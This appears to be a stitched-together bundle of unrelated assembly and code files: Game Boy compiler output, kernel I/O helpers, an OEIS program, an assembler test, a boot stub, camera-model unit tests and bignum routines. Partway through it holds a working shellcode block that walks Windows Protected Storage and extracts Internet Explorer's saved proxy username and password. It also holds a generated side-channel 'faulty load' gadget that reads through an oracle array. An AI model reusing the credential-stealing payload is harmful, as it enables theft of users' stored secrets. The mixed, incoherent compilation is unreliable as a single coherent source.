ld a, c
sub a, #0x12
ld a, b
rla
ccf
rra
sbc a, #0x80
jr NC,00123$
inc (hl)
00123$:
;src/main.c:355: if(key_push(KEY_A) || key_push(KEY_START)) break;
ld a, #0x01
push af
inc sp
call _key_push
inc sp
;src/main.c:357: set_obj(&cursor_obj, (_cx + BF_KEYBOARD_X) * 8, 144 - ((BF_KEYBOARD_Y + BF_KEYBOARD_H) * 8) + ((_cy + BF_KEYBOARD_Y) * 8), 0x7F, 0x10);
ldhl sp,#4
ld c, (hl)
inc hl
ld b, (hl)
;src/main.c:355: if(key_push(KEY_A) || key_push(KEY_START)) break;
bit 0, e
jp NZ, 00129$
push bc
ld a, #0x08
push af
inc sp
call _key_push
inc sp
pop bc
bit 0, e
jp NZ, 00129$
;src/main.c:357: set_obj(&cursor_obj, (_cx + BF_KEYBOARD_X) * 8, 144 - ((BF_KEYBOARD_Y + BF_KEYBOARD_H) * 8) + ((_cy + BF_KEYBOARD_Y) * 8), 0x7F, 0x10);
ld a, c
add a, a
add a, a
add a, a
add a, #0x60
ld d, a
ld a, b
inc a
add a, a
add a, a
add a, a
ld b, a
ld hl, #0x107f
push hl
push de
inc sp
push bc
inc sp
ld hl, #_cursor_obj
push hl
call _set_obj
add sp, #6
;src/main.c:358: obj_slot = copy_to_oam_obj(&cursor_obj, obj_slot);
ld hl, #_obj_slot
ld a, (hl)
push af
inc sp
ld hl, #_cursor_obj
push hl
call _copy_to_oam_obj
add sp, #3
ld hl, #_obj_slot
ld (hl), e
;src/main.c:360: fill((void*)(((uint16_t)obj) + (obj_slot << 2)), 0xFF, sizeof(obj) - (obj_slot << 2));
ld c, (hl)
ld b, #0x00
sla c
rl b
sla c
rl b
ld de, #0x00a0
ld a, e
sub a, c
ld e, a
ld a, d
sbc a, b
ldhl sp,#3
ld (hl-), a
ld (hl), e
dec hl
dec hl
ld (hl), #<(_obj)
inc hl
ld (hl), #>(_obj)
pop hl
push hl
add hl, bc
ld c, l
ld b, h
ldhl sp,#2
ld a, (hl+)
ld h, (hl)
ld l, a
push hl
ld a, #0xff
push af
inc sp
push bc
call _fill
add sp, #5
jp 00105$
00129$:
;src/main.c:362: _char = ' ' + ((_cy * BF_KEYBOARD_W) + _cx);
ld a, c
add a, a
add a, a
add a, a
add a, c
add a, a
add a, b
add a, #0x20
ld c, a
;src/main.c:363: obj_slot = 0;
ld hl, #_obj_slot
ld (hl), #0x00
;src/main.c:364: fill((void*)(((uint16_t)obj) + (obj_slot << 2)), 0xFF, sizeof(obj) - (obj_slot << 2));
ld de, #_obj
push bc
ld hl, #0x00a0
push hl
ld a, #0xff
push af
inc sp
push de
call _fill
add sp, #5
pop bc
;src/main.c:366: for(uint8_t i = (144 - ((BF_KEYBOARD_Y + BF_KEYBOARD_H) * 8)); i <= 144; i += 4){
ld b, #0x60
00142$:
ld a, #0x90
sub a, b
jr C,00133$
;src/gb.h:174: inline void set_win_offset(uint8_t _ox, uint8_t _oy){offset_x = _ox + 7; offset_y = _oy;}
ld hl, #_offset_x
ld (hl), #0x07
ld hl, #_offset_y
ld (hl), b
;src/main.c:368: while(!vblank_happened) halt();
00130$:
ld hl, #_vblank_happened
bit 0, (hl)
jr NZ,00132$
halt
jr 00130$
00132$:
;src/main.c:369: vblank_happened = false;
ld hl, #_vblank_happened
ld (hl), #0x00
;src/main.c:366: for(uint8_t i = (144 - ((BF_KEYBOARD_Y + BF_KEYBOARD_H) * 8)); i <= 144; i += 4){
inc b
inc b
inc b
inc b
jr 00142$
00133$:
;src/gb.h:174: inline void set_win_offset(uint8_t _ox, uint8_t _oy){offset_x = _ox + 7; offset_y = _oy;}
ld hl, #_offset_x
ld (hl), #0x07
ld hl, #_offset_y
ld (hl), #0x90
;src/main.c:373: return _char;
ld e, c
;src/main.c:374: }
add sp, #6
ret
.area _CODE
.area _CABS (ABS)
|
GLOBAL cpuVendor
GLOBAL getstatuskeyboard
GLOBAL getcharacter
GLOBAL getRtcStatus
GLOBAL setRtcBinary
GLOBAL getkeyStatus
GLOBAL getcharacterC
GLOBAL getMem
GLOBAL getFromRTC
GLOBAL backupRSP
GLOBAL resetRSP
GLOBAL getRegs
section .text
backupRSP:
mov rax , rsp
ret
;; en rdi tengo el valor del rsp a restaurar
resetRSP:
pop rax
mov rsp, rdi
push rax
ret
cpuVendor:
push rbp
mov rbp, rsp
push rbx
mov rax, 0
cpuid
mov [rdi], ebx
mov [rdi + 4], edx
mov [rdi + 8], ecx
mov byte [rdi+13], 0
mov rax, rdi
pop rbx
mov rsp, rbp
pop rbp
ret
;4 la hora
;2 los minutos
; 0 los segundos
getFromRTC:
push rbp
mov rbp, rsp
push rbx
xor rax , rax
mov rbx, rdi
mov al , bl
out 70h, al
in al, 71h
pop rbx
mov rsp, rbp
pop rbp
ret
getRtcStatus:
push rbp
mov rbp , rsp
xor rax , rax
mov al , 0x0B
out 70h , al
in al , 71h
mov rsp , rbp
pop rbp
ret
getkeyStatus:
push rbp
mov rbp , rsp
xor rax , rax
in al , 0x64 ;;si el ultimo bit es cero no hay nada en el buffer
mov rsp , rbp
pop rbp
ret
getcharacterC:
push rbp
mov rbp , rsp
xor rax , rax
in al , 0x60
mov rsp , rbp
pop rbp
ret
;;setea el RTC para que devuelva en binario.
setRtcBinary:
push rbp
mov rbp , rsp
xor rax , rax
mov al , 0x0B
out 70h , al
xor rax , rax
mov al , 0x06
out 71h , al
mov rsp,rbp
pop rbp
ret
;;en rdi char * donde se van a guardar
;; en rsi char * con una direccion de memoria valida
getMem :
;;push rax
;;push rcx
mov rcx , 4
_loop:
mov rax, 0
mov [rdi], rax
mov al, [rsi]
mov [rdi] , al
add rdi , 8
add rsi , 1
dec rcx
cmp rcx , 0
jge _loop
;;sub rdi , 8
;;sub rsi , 8
;;pop rcx
;;pop rax
ret
getRegs:
push rbp
mov rbp, rsp
mov rcx, 16
mov rdx, rbp
add rdx, 104
_loop2:
mov r8, [rdx]
mov rax, r8
mov qword [rdi], rax
add rdi, 8
add rdx, 8
dec rcx
cmp rcx, 0
jg _loop2
mov rsp, rbp
pop rbp
ret
|
; A037487: Decimal expansion of a(n) is given by the first n terms of the periodic sequence with initial period 1,2.
; 1,12,121,1212,12121,121212,1212121,12121212,121212121,1212121212,12121212121,121212121212,1212121212121,12121212121212,121212121212121,1212121212121212,12121212121212121,121212121212121212,1212121212121212121,12121212121212121212,121212121212121212121,1212121212121212121212,12121212121212121212121,121212121212121212121212,1212121212121212121212121,12121212121212121212121212,121212121212121212121212121,1212121212121212121212121212,12121212121212121212121212121,121212121212121212121212121212
add $0,1
mov $1,10
pow $1,$0
sub $1,6
mul $1,4
div $1,11
add $1,4
div $1,3
mov $0,$1
|
DEVICE ZXSPECTRUMNEXT
; do various config commands without any NEX file being opened => errors
SAVENEX CORE 15,15,255
SAVENEX CFG 5,"hf",1,1
SAVENEX BAR 1,'L','D','d'
SAVENEX SCREEN L2 0, 0, 0, 0
SAVENEX SCREEN LR 0, 0, 0, 0
SAVENEX SCREEN SCR
SAVENEX SCREEN SHC
SAVENEX SCREEN SHR 5
SAVENEX BANK 5, 0
SAVENEX SCREEN SCR
SAVENEX AUTO
; create empty NEX file with empty default LR screen
SAVENEX OPEN "savenexCoverage.nex"
SAVENEX SCREEN LR
SAVENEX SCREEN SCR ; error "screen was already stored"
SAVENEX CLOSE "nonExistentFile.bin" ; error, file not found
; some palette defined
SAVENEX OPEN "savenexCoverage.nex"
SAVENEX SCREEN LR 5*2, 0, 200, 0
SAVENEX SCREEN SCR ; error "screen was already stored"
SAVENEX CLOSE
; create empty NEX file with empty default L2 screen
SAVENEX OPEN "savenexCoverageL2.nex" ; this will be 48+kiB source for later
SAVENEX SCREEN L2
SAVENEX SCREEN SCR ; error "screen was already stored"
SAVENEX CLOSE
; create empty NEX file with empty default SCR screen
SAVENEX OPEN "savenexCoverage.nex"
SAVENEX SCREEN SCR
SAVENEX SCREEN SCR ; error "screen was already stored"
SAVENEX CLOSE "savenexCoverageL2.nex" ; exercise append of binary file
; create empty NEX file with empty default SHC screen
SAVENEX OPEN "savenexCoverage.nex"
SAVENEX SCREEN SHC
SAVENEX SCREEN SCR ; error "screen was already stored"
SAVENEX CLOSE
; create empty NEX file with empty default SHR screen
SAVENEX OPEN "savenexCoverage.nex"
SAVENEX SCREEN SHR 5
SAVENEX SCREEN SCR ; error "screen was already stored"
SAVENEX CLOSE
; no hiRes colour defined, default = 0
SAVENEX OPEN "savenexCoverage.nex"
SAVENEX SCREEN SHR
SAVENEX SCREEN SCR ; error "screen was already stored"
SAVENEX CLOSE
; hiRes colour defined wrongly => warning
SAVENEX OPEN "savenexCoverage.nex"
SAVENEX SCREEN SHR 8
SAVENEX SCREEN SCR ; error "screen was already stored"
SAVENEX CLOSE
; hiRes colour defined wrongly => warning
SAVENEX OPEN "savenexCoverage.nex"
SAVENEX SCREEN SHR -1
SAVENEX SCREEN SCR ; error "screen was already stored"
SAVENEX CLOSE
|
;-----------------------------------------------------------------------------;
; Author: Unknown
; Compatible: Confirmed Windows Server 2003, IE Versions 4 to 6
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'
; Output: top element of stack will be pointer to null-terminated password and
; second will be pointer to null-terminated username of the Proxy saved in IE
pushad
jmp after_functions
alloc_memory: ; returns address to allocation in eax
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x1000 ; allocate 1000 byte for each variable (could be less)
push 0 ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXE$
ret ;
;
after_functions: ;
;
; allocate memory for variables and save pointers on stack
mov bl, 9 ;
alloc_loop: ;
call alloc_memory ;
push eax ; save allocation address on stack
dec bl ;
jnz alloc_loop ;
;
load_pstorec: ; loads the pstorec.dll
push 0x00636572 ; Push the bytes 'pstorec',0 onto the stack.
push 0x6f747370 ; ...
push esp ; Push a pointer to the 'pstorec',0 string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "pstorec" )
; this should leave a handle to the pstorec
; DLL-Module in eax
pop edx ; remove 'pstorec' string from stack
pop edx
PStoreCreateInstance_PStore:
; returns address to PStore in pPStore
pop edi ; pop pPstore
push edi ; restore stack
;
push 0 ;
push 0 ;
push 0 ;
push edi ; arg4: pPstore
push 0x2664BDDB ; hash ( "pstorec.dll", "PStoreCreateInstance" )
call ebp ; PstoreCreateInstance(address, 0, 0, 0)
;
PStore.EnumTypes: ; returns address to EnumPStoreTypes in pEnumPStoreTypes
pop eax ; pop pPstore
pop edx ; pop pEnumPstoreTypes
push edx ; restore stack
push eax ;
;
push edx ; arg1: pEnumPstoreTypes
push 0 ; arg2: NULL
push 0 ; arg3: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::EnumTypes in pstorec.dll
mov edx, [edx+0x38] ; &EnumTypes() = *(*(&PStore)+0x38)
call edx ; call IPStore::EnumTypes
mov edi, 0x5e7e8100 ; Value of pTypeGUID if Password is IE:Password-Protected
;
EnumPStoreTypes.raw_Next:
pop eax ; pop pPStore
pop edx ; pop pEnumPStoreTypes
pop ecx ; pop pTypeGUID
push ecx ; restore stack
push edx ;
push eax ;
;
push 0 ; arg1: NULL
push ecx ; arg2: pTypeGUID
push 1 ; arg3: 1
mov edx, [edx] ; load base address of EnumPStoreTypes
push edx ; push base address of EnumPStoreTypes (this)
mov edx, [edx] ; get function address of EnumPStoreTypes::raw_Next in pstorec.dll
mov edx, [edx+0x0C] ; &RawNext = *(*(*(&EnumPStoreTypes))+0x0C)
call edx ; call EnumPStoreTypes::raw_Next
;
mov eax, [esp+8] ;
mov eax, [eax] ;
;
test eax, eax ;
jz no_auth ; no Password found
cmp edi, eax ; do this until TypeGUID indicates "IE Password Protected sites"
jne EnumPStoreTypes.raw_Next
;
PStore.EnumSubtypes: ; returns address to EnumSubtypes () in pEnumSubtypes ()
pop eax ; pop pPstore
pop edx ; pop pEnumPstoreTypes
pop ecx ; pop pTypeGUID
pop edi ; pop pEnumSubtypes
push edi ; restore stack
push ecx ;
push edx ;
push eax ;
;
push edi ; arg1: pEnumSubtypes
push 0 ; arg2: NULL
push ecx ; arg3: pTypeGUID
push 0 ; arg4: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::EnumSubtypes in pstorec.dll
mov edx, [edx+0x3C] ; &Pstore.EnumSubTypes() = *(*(*(&PStore))+0x3C)
call edx ; call IPStore::EnumSubtypes
;
EnumSubtypes.raw_Next:
mov eax, [esp+0x0C] ; pop pEnumSubtypes
mov edx, [esp+0x10] ; pop psubTypeGUID
;
push 0 ; arg1: NULL
push edx ; arg2: psubTypeGUID
push 1 ; arg3: 1
mov eax, [eax] ; load base address of EnumSubtypes in eax
push eax ; push base address of EnumSubtypes (this)
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
mov edx, [edx+0x0C] ; &(EnumSubtypes.raw_Next) = *(*(&EnumSubtypes)+0x0C)
call edx ; call EnumSubtypes.raw_Next
;
PStore.EnumItems:
pop eax ; pop pPstore
pop ecx ;
pop edx ; pop pTypeGUID
push edx ; restore stack
push ecx ;
push eax ;
mov ecx, [esp+0x10] ; pop psubTypeGUID
mov edi, [esp+0x14] ; pop pspEnumItems
;
push edi ; arg1: pspEnumItems
push 0 ; arg2: NULL
push ecx ; arg3: psubTypeGUID
push edx ; arg4: pTyoeGUID
push 0 ; arg5: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::Enumitems in pstorec.dll
mov edx, [edx+0x54] ;
call edx ; call IPStore::Enumitems
;
spEnumItems.raw_Next:
mov eax, [esp+0x14] ; pop pspEnumItems
mov ecx, [esp+0x18] ; pop pitemName
;
push 0 ; arg1: NULL
push ecx ; arg2: pitemName
push 1 ; arg3: 1
mov eax, [eax] ; load base address of spEnumItems in eax
push eax ; push base addres of spEnumItems (this)
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
mov edx, [edx+0x0C] ;
call edx ;
;
PStore.ReadItem:
pop eax ; pop pPStore
push eax ;
;
push 0 ; arg1: NULL
push 0 ; arg2: NULL (stiinfo not needed)
mov ecx, [esp+0x24] ; pop ppsData (8. Element)
push ecx ; arg3: ppsData
mov ecx, [esp+0x2C] ; pop ppsDataLen
push ecx ; arg4: ppsDataLen (not needed?)
mov ecx, [esp+0x28] ; pop pitemName (7. Element)
mov ecx, [ecx] ;
push ecx ; arg5: pitemName
mov ecx, [esp+0x24] ; pop psubTypeGUID (5. Element)
push ecx ; arg6: psubTypeGUID
mov ecx, [esp+0x20] ; pop pTypeGUID (3. Element)
push ecx ; arg7: pTypeGUID
push 0 ; arg8: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base addres of PStore (this)
mov edx, [eax] ; get function address of IPStore::ReadItem in pstorec.dll
mov edx, [edx+0x44] ;
call edx ;
;
split_user_pass:
mov eax, [esp+0x1C] ; eax = ppsData
mov eax, [eax] ; now eax contains pointer to "user:pass"
push eax ; push pointer to user
mov cl, byte 0x3a ; load ":" in ecx
mov dl, byte [eax] ; load first byte of ppsData in edx
cmp cl, dl ;
jz no_auth ;
loop_split: ;
inc eax ;
mov dl, byte [eax] ;
cmp cl, dl ;
jnz loop_split ; increase eax until it points to ":"
;
mov [eax], byte 0x00 ; replace ":" with 00
inc eax ;
push eax ; push pointer to pass
;
no_auth:
|
bits 32
global boot ; making entry point visible to linker
extern kmain ; kmain is defined in Main.ooc
;;; Multiboot header. See GRUB docs for details
MODULEALIGN equ 1<<0 ; align loaded modules on page boundaries
MEMINFO equ 1<<1 ; provide memory map
FLAGS equ MODULEALIGN | MEMINFO ; this is the Multiboot 'flag' field
MAGIC equ 0x1BADB002 ; 'magic number' lets bootloader find the header
CHECKSUM equ -(MAGIC + FLAGS) ; checksum required
section .text
align 4
MultiBootHeader:
dd MAGIC
dd FLAGS
dd CHECKSUM
;;; The OS gains control right here
boot:
mov esp, stacktop ; set up the stack
push eax ; pass Multiboot magic number
push ebx ; pass Multiboot info structure
call kmain ; call kernel proper
cli ; disable interupts if kmain returns
hang:
hlt ; halt machine if kmain returns
jmp hang
section .bss
align 4
stack:
resb 0x4000 ; reserve 16k for the stack on a doubleword boundary
stacktop: ; the top of the stack is the bottom because the stack counts down
|
#include <gtest/gtest.h>
#include "helpers.hh"
#include <Eigen/Core>
#include <Eigen/Geometry>
#include "../CameraModel/cameramodel.hh"
#include "../geometry/Bounds.hh"
#include "../geometry/LineSegment/LineSegment2/LineSegment2i/linesegment2i.hh"
using namespace bold;
using namespace Eigen;
TEST (CameraModelTests, directionForPixel)
{
auto imageWidth = 11;
auto imageHeight = 11;
auto rangeVerticalDegs = 90;
auto rangeHorizontalDegs = 90;
CameraModel cameraModel1(imageWidth, imageHeight,
rangeVerticalDegs, rangeHorizontalDegs);
EXPECT_TRUE ( VectorsEqual(Vector3d(0, 1, 0).normalized(),
cameraModel1.directionForPixel(Vector2d(5.5, 5.5)) ) );
EXPECT_TRUE ( VectorsEqual(Vector3d(1, 1, 0).normalized(),
cameraModel1.directionForPixel(Vector2d( 0, 5.5)) ) );
EXPECT_TRUE ( VectorsEqual(Vector3d(-1, 1, 0).normalized(),
cameraModel1.directionForPixel(Vector2d(11, 5.5)) ) );
EXPECT_TRUE ( VectorsEqual(Vector3d(0, 1, -1).normalized(),
cameraModel1.directionForPixel(Vector2d(5.5, 0)) ) );
EXPECT_TRUE ( VectorsEqual(Vector3d(0, 1, 1).normalized(),
cameraModel1.directionForPixel(Vector2d(5.5, 11)) ) );
auto v = Vector3d( -1, 1, 0).normalized();
v.x() *= 2.0/5.5;
EXPECT_TRUE ( VectorsEqual(v.normalized(),
cameraModel1.directionForPixel(Vector2d(7.5, 5.5)) ) );
rangeVerticalDegs = 45;
rangeHorizontalDegs = 60;
double th = tan(.5 * 60.0 / 180.0 * M_PI);
double tv = tan(.5 * 45.0 / 180.0 * M_PI);
CameraModel cameraModel2(imageWidth, imageHeight,
rangeVerticalDegs, rangeHorizontalDegs);
EXPECT_TRUE ( VectorsEqual(Vector3d(0, 1, 0).normalized(),
cameraModel2.directionForPixel(Vector2d(5.5, 5.5)) ) );
EXPECT_TRUE ( VectorsEqual(Vector3d(th, 1, 0).normalized(),
cameraModel2.directionForPixel(Vector2d( 0, 5.5)) ) );
EXPECT_TRUE ( VectorsEqual(Vector3d(-th, 1, 0).normalized(),
cameraModel2.directionForPixel(Vector2d(11, 5.5)) ) );
EXPECT_TRUE ( VectorsEqual(Vector3d(0, 1, -tv).normalized(),
cameraModel2.directionForPixel(Vector2d(5.5, 0)) ) );
EXPECT_TRUE ( VectorsEqual(Vector3d(0, 1, tv).normalized(),
cameraModel2.directionForPixel(Vector2d(5.5, 11)) ) );
}
TEST (CameraModelTests, pixelForDirection)
{
auto imageWidth = 11;
auto imageHeight = 11;
auto rangeVerticalDegs = 90;
auto rangeHorizontalDegs = 90;
CameraModel cameraModel1(imageWidth, imageHeight, rangeVerticalDegs, rangeHorizontalDegs);
EXPECT_EQ ( Maybe<Vector2d>::empty(), cameraModel1.pixelForDirection(Vector3d(0, 0, 0)) );
EXPECT_EQ ( Maybe<Vector2d>::empty(), cameraModel1.pixelForDirection(Vector3d(1, 0, 0)) );
EXPECT_EQ ( Maybe<Vector2d>::empty(), cameraModel1.pixelForDirection(Vector3d(0, 0, 1)) );
EXPECT_EQ ( Maybe<Vector2d>::empty(), cameraModel1.pixelForDirection(Vector3d(1, -1, 1)) );
EXPECT_TRUE ( VectorsEqual( Vector2d(5.5, 5.5), *cameraModel1.pixelForDirection(Vector3d(0, 1, 0)) ) );
EXPECT_TRUE ( VectorsEqual( Vector2d( 0, 5.5), *cameraModel1.pixelForDirection(Vector3d( 1, 1, 0)) ) );
EXPECT_TRUE ( VectorsEqual( Vector2d(11, 5.5), *cameraModel1.pixelForDirection(Vector3d(-1, 1, 0)) ) );
EXPECT_TRUE ( VectorsEqual( Vector2d(5.5, 0), *cameraModel1.pixelForDirection(Vector3d(0, 1, -1)) ) );
EXPECT_TRUE ( VectorsEqual( Vector2d(5.5, 11), *cameraModel1.pixelForDirection(Vector3d(0, 2, 2)) ) );
auto v = Vector3d(-1, 1, 0).normalized();
v.x() *= 2.0/5.5;
EXPECT_TRUE ( VectorsEqual( Vector2d(7.5, 5.5), *cameraModel1.pixelForDirection(v) ) );
// 2 time range
rangeVerticalDegs = 45;
rangeHorizontalDegs = 60;
CameraModel cameraModel2(imageWidth, imageHeight, rangeVerticalDegs, rangeHorizontalDegs);
double th = tan(.5 * 60.0 / 180.0 * M_PI);
double tv = tan(.5 * 45.0 / 180.0 * M_PI);
EXPECT_TRUE ( VectorsEqual( Vector2d(5.5, 5.5), *cameraModel2.pixelForDirection(Vector3d(0, 1, 0)) ) );
EXPECT_TRUE ( VectorsEqual( Vector2d( 0, 5.5), *cameraModel2.pixelForDirection(Vector3d(th, 1, 0)) ) );
EXPECT_TRUE ( VectorsEqual( Vector2d(11, 5.5), *cameraModel2.pixelForDirection(Vector3d(-th, 1, 0)) ) );
EXPECT_TRUE ( VectorsEqual( Vector2d(5.5, 0), *cameraModel2.pixelForDirection(Vector3d(0, 1, -tv)) ) );
EXPECT_TRUE ( VectorsEqual( Vector2d(5.5, 11), *cameraModel2.pixelForDirection(Vector3d(0, 1, tv)) ) );
}
|
bits 64
_xxx:
jmp _yyy
nop
nop
nop
_yyy:
jmp _xxx - 1 |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xecfd, %r8
nop
nop
cmp $47471, %r10
movw $0x6162, (%r8)
nop
nop
sub $25190, %r9
lea addresses_WT_ht+0x166d, %rsi
lea addresses_D_ht+0x8a7d, %rdi
nop
nop
nop
nop
nop
sub %rax, %rax
mov $16, %rcx
rep movsl
sub $42210, %rdi
lea addresses_A_ht+0x872d, %rsi
lea addresses_UC_ht+0x1d50d, %rdi
nop
nop
nop
nop
nop
dec %r9
mov $10, %rcx
rep movsw
nop
nop
nop
nop
add $42601, %rcx
lea addresses_WT_ht+0x2e7d, %rsi
lea addresses_normal_ht+0x9e3d, %rdi
cmp $9602, %rax
mov $1, %rcx
rep movsl
nop
nop
cmp $8975, %r8
lea addresses_UC_ht+0x18fa1, %rdi
clflush (%rdi)
cmp %r12, %r12
movb (%rdi), %al
dec %r8
lea addresses_WT_ht+0x13c85, %rsi
lea addresses_WC_ht+0x7834, %rdi
nop
dec %r12
mov $108, %rcx
rep movsq
nop
nop
nop
dec %r8
lea addresses_D_ht+0x597d, %rsi
nop
add $61311, %r8
vmovups (%rsi), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %r9
nop
nop
nop
inc %rsi
lea addresses_WT_ht+0x1107d, %r12
add %rdi, %rdi
movups (%r12), %xmm2
vpextrq $1, %xmm2, %rax
nop
nop
nop
cmp %r8, %r8
lea addresses_WC_ht+0x267d, %rsi
nop
nop
nop
and $65431, %r12
movl $0x61626364, (%rsi)
cmp %rcx, %rcx
lea addresses_WT_ht+0x13cfd, %rdi
cmp %rax, %rax
movb $0x61, (%rdi)
nop
nop
inc %r8
lea addresses_D_ht+0x2f7d, %rsi
lea addresses_UC_ht+0xd67d, %rdi
nop
nop
nop
nop
cmp $56889, %r8
mov $10, %rcx
rep movsb
nop
nop
nop
cmp $2840, %rcx
lea addresses_UC_ht+0x1347d, %r10
nop
sub %r12, %r12
mov (%r10), %rsi
nop
nop
nop
nop
dec %rdi
lea addresses_WT_ht+0xeb7d, %rsi
lea addresses_D_ht+0xc7d, %rdi
nop
nop
sub $8328, %rax
mov $17, %rcx
rep movsw
nop
nop
nop
nop
nop
and $8032, %rcx
lea addresses_A_ht+0xfd6d, %rcx
clflush (%rcx)
nop
nop
cmp $5786, %rsi
mov (%rcx), %r9
add %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %r8
push %rax
push %rdx
push %rsi
// Store
lea addresses_D+0x1a07d, %rsi
nop
nop
and $35417, %r13
movw $0x5152, (%rsi)
cmp %r10, %r10
// Faulty Load
lea addresses_WC+0xce7d, %rdx
nop
and $14732, %rax
mov (%rdx), %r8d
lea oracles, %rdx
and $0xff, %r8
shlq $12, %r8
mov (%rdx,%r8,1), %r8
pop %rsi
pop %rdx
pop %rax
pop %r8
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 9, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'38': 211}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
|
.686
.model flat,stdcall
option casemap:none
include .\bnlib.inc
include .\bignum.inc
.data?
bn_dwrandseed dd ?
.code
;; returns offset of bn_dwrandseed so we can change it
;; if needed
_bn_dwrandomize proc c
rdtsc
mov bn_dwrandseed,eax
mov eax,offset bn_dwrandseed
ret
_bn_dwrandomize endp
; ecx = range
_bn_dwrandom proc c
mov eax,bn_dwrandseed
mov edx,41c64e6dh
mul edx
add eax,3039h
xor edx,edx
mov bn_dwrandseed,eax
div ecx
mov eax,edx
ret
_bn_dwrandom endp
end
|
segment .text
align 4
f:
push ebp
mov ebp, esp
sub esp, 4
lea eax, [ebp+8]
push eax
pop eax
push dword [eax]
push dword [esp]
lea eax, [ebp+-4]
push eax
pop ecx
pop eax
mov [ecx], eax
add esp, 4
lea eax, [ebp+-4]
push eax
pop eax
push dword [eax]
pop eax
leave
ret
align 4
global _main:function
_main:
align 4
xpl:
push ebp
mov ebp, esp
sub esp, 4
push dword 0
lea eax, [ebp+-4]
push eax
pop ecx
pop eax
mov [ecx], eax
call readi
push eax
call f
add esp, 4
push eax
call printi
add esp, 4
call println
lea eax, [ebp+-4]
push eax
pop eax
push dword [eax]
pop eax
leave
ret
extern argc
extern argv
extern envp
extern readi
extern readd
extern printi
extern prints
extern printd
extern println
|
SECTION code_fp_math32
PUBLIC _exp_fastcall
EXTERN _m32_expf
defc _exp_fastcall = _m32_expf
|
